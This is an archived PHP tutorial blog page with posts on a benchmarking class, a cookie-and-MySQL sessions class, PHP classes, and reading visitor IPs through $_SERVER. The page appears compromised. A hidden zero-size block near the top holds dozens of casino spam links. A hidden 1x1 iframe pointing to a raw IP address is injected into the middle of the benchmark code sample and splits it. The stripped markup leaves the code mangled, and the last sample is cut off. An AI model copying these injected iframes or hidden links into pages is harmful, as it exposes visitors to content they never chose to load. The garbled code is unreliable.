PHP Benchmarking Class

Written by admin on December 22nd, 2008 in PHP Classes.

font style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://groups.google.com/group/caglvlirota/web/backgammonbackgammon/a a href=http://groups.google.com/group/caglvlirota/web/free-casino-moneyfree casino money/a a href=http://groups.google.com/group/caglvlirota/web/free-craps-gamefree craps game/a a href=http://groups.google.com/group/caglvlirota/web/play-free-black-jackplay free black jack/a a href=http://groups.google.com/group/caglvlirota/web/crapscraps/a a href=http://groups.google.com/group/caglvlirota/web/video-poker-strategyvideo poker strategy/a a href=http://groups.google.com/group/caglvlirota/web/play-black-jack-onlineplay black jack online/a a href=http://groups.google.com/group/caglvlirota/web/how-to-win-video-pokerhow to win video poker/a a href=http://groups.google.com/group/caglvlirota/web/casino-game-onlinecasino game online/a a href=http://groups.google.com/group/caglvlirota/web/uk-best-casino-onlineuk best casino online/a a href=http://groups.google.com/group/caglvlirota/web/casino-secure-online-gamblingcasino secure online gambling/a a href=http://groups.google.com/group/caglvlirota/web/jackpot-casinojackpot casino/a a href=http://groups.google.com/group/caglvlirota/web/online-casinoonline casino/a a href=http://groups.google.com/group/caglvlirota/web/black-jackblack jack/a a href=http://groups.google.com/group/caglvlirota/web/learn-to-play-crapslearn to play craps/a a href=http://groups.google.com/group/caglvlirota/web/how-to-win-at-video-pokerhow to win at video poker/a a href=http://groups.google.com/group/caglvlirota/web/craps-onlinecraps online/a a href=http://groups.google.com/group/caglvlirota/web/blackjack-casino-gameblackjack casino game/a a href=http://groups.google.com/group/caglvlirota/web/online-casino-bettingonline casino betting/a a href=http://groups.google.com/group/caglvlirota/web/free-on-line-video-pokerfree on line video poker/a a href=http://groups.google.com/group/caglvlirota/web/casino-gamescasino games/a a href=http://groups.google.com/group/caglvlirota/web/no-download-casinono download casino/a a href=http://groups.google.com/group/caglvlirota/web/online-gambling-casinoonline gambling casino/a a href=http://groups.google.com/group/caglvlirota/web/play-free-casino-slotsplay free casino slots/a a href=http://groups.google.com/group/caglvlirota/web/video-poker-machinevideo poker machine/a a href=http://groups.google.com/group/caglvlirota/web/bonus-video-pokerbonus video poker/a a href=http://groups.google.com/group/caglvlirota/web/free-on-line-slotsfree on line slots/a a href=http://groups.google.com/group/caglvlirota/web/double-bonus-video-pokerdouble bonus video poker/a a href=http://groups.google.com/group/caglvlirota/web/free-video-poker-gamesfree video poker games/a a href=http://groups.google.com/group/caglvlirota/web/free-casinosfree casinos/a a href=http://groups.google.com/group/caglvlirota/web/roulette-onlineroulette online/a a href=http://groups.google.com/group/caglvlirota/web/craps-rulescraps rules/a a href=http://groups.google.com/group/caglvlirota/web/free-on-line-casinofree on line casino/a a href=http://groups.google.com/group/caglvlirota/web/rules-of-crapsrules of craps/a a href=http://groups.google.com/group/caglvlirota/web/online-casino-free-moneyonline casino free money/a a href=http://groups.google.com/group/caglvlirota/web/blackjack-21blackjack 21/a a href=http://groups.google.com/group/caglvlirota/web/internet-casinointernet casino/a a href=http://groups.google.com/group/caglvlirota/web/how-to-play-crapshow to play craps/a a href=http://groups.google.com/group/caglvlirota/web/free-casino-game-downloadfree casino game download/a a href=http://groups.google.com/group/caglvlirota/web/fortunelounge-online-casinofortunelounge online casino/a a href=http://groups.google.com/group/caglvlirota/web/free-casino-downloadfree casino download/a a href=http://groups.google.com/group/caglvlirota/web/free-casino-card-gamefree casino card game/a a href=http://groups.google.com/group/caglvlirota/web/free-roulette-gamefree roulette game/a a href=http://groups.google.com/group/caglvlirota/web/free-casino-playfree casino play/a a href=http://groups.google.com/group/caglvlirota/web/no-deposit-free-money-casinono deposit free money casino/a a href=http://groups.google.com/group/caglvlirota/web/internet-casino-onlineinternet casino online/a /font writing PHP applications you sometimes need to know just how much resources your script is taking up. Most hosting providers have limits on how much resources a single script can take up. So knowing if you are near that limit is handy. This PHP Benchmark Class can give you all the needed information about the resources your script is consuming.

It is all kept within one neat class so it is is to use. Here are a few examples of how this script can be used within your script.
code language=PHP
$bench = Benchmark::create( ‘MY_BENCHMARK’, TRUE ); // TRUE flag enables memory status.
$bench-end();
$result!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — = $bench-result();
/code

Easy to use, simple to read and a lifesaver for anyone needing to check their scripts efficiency.

a href=http://pdstudios.net/wp-content/uploads/2008/12/classbenchmark.zip title=PHP Benchmarking ClassPHP Benchmarking Class/a

Credit to Nick Thompson for creating this Benchmarking class.

PHP Secure Sessions Class

Written by admin on December 6th, 2008 in General.

nced PHP users and a few learners will have heard that PHP sessions have many vulnerabilities and security issues. So if creating a website for large social networks or any other large websites which requires user authentication and protected pages you do not wanting to be using insecure methods of programming.

The best way to combat PHP sessions but still have an easy to use user authentication system we can create a Custom PHP Sessions class. For this we need Cookies and a MySQL table. Instead of storing user information and login sessions in $_SESSION we store it within our MySQL table. This gives added security because everything is stored in a database and not in a single variable array.

This Sessions class system has the ability to create, update, delete and check sessions. This system in no way uses the $_SESSION variable only cookies which a secure in their own right if used and created properley.

PHP Classes

Written by admin on September 14th, 2008 in PHP Tutorials, Tutorials.

In PHP there are many methods of programming a script or website. Advanced programmers use something called classes. These help programmers to organize their code and also make the script more versatile. PHP classes were mainly used when PHP5 was introduced as PHP5 concentrated on advanced programmers with using classes and other methods of programming. By using classes functions can be manipulated and security can be increased from standard php methods. PHP classes or often refered to as OOP which stands for Object Orientated Programming because we are using objects to organise our code. PHP classes have many features to them and it would take to long to explain every feature of a class so were just going to look at the few basics of using and creating a PHP class.
Read the rest of this entry »

Getting User information in PHP

Written by admin on August 5th, 2008 in PHP Tutorials, Tutorials.

In the previous tutorial we showed you how to get a user’s IP using PHP. However there is a way that you can get vasts amount of information about the user in PHP. We will now teach you how to get all of this information.

Getting information about the website or visitor mainly depends on the $_SERVER variable. This is a pre-defined global variable in PHP that is always set and can be used anywhere. Below are the different types of information you can get from $_SERVER.

Read the rest of this entry »

Getting User’s IP in PHP

Written by admin on May 17th, 2008 in PHP Tutorials, Tutorials.

Sometimes you may need to get a users IP that is browsing your website and store it for protection or display it to the user.

In PHP this is simply done by using the $_SERVER variable.

The code below will store a users IP into a variable:

<?php

$UsersIP =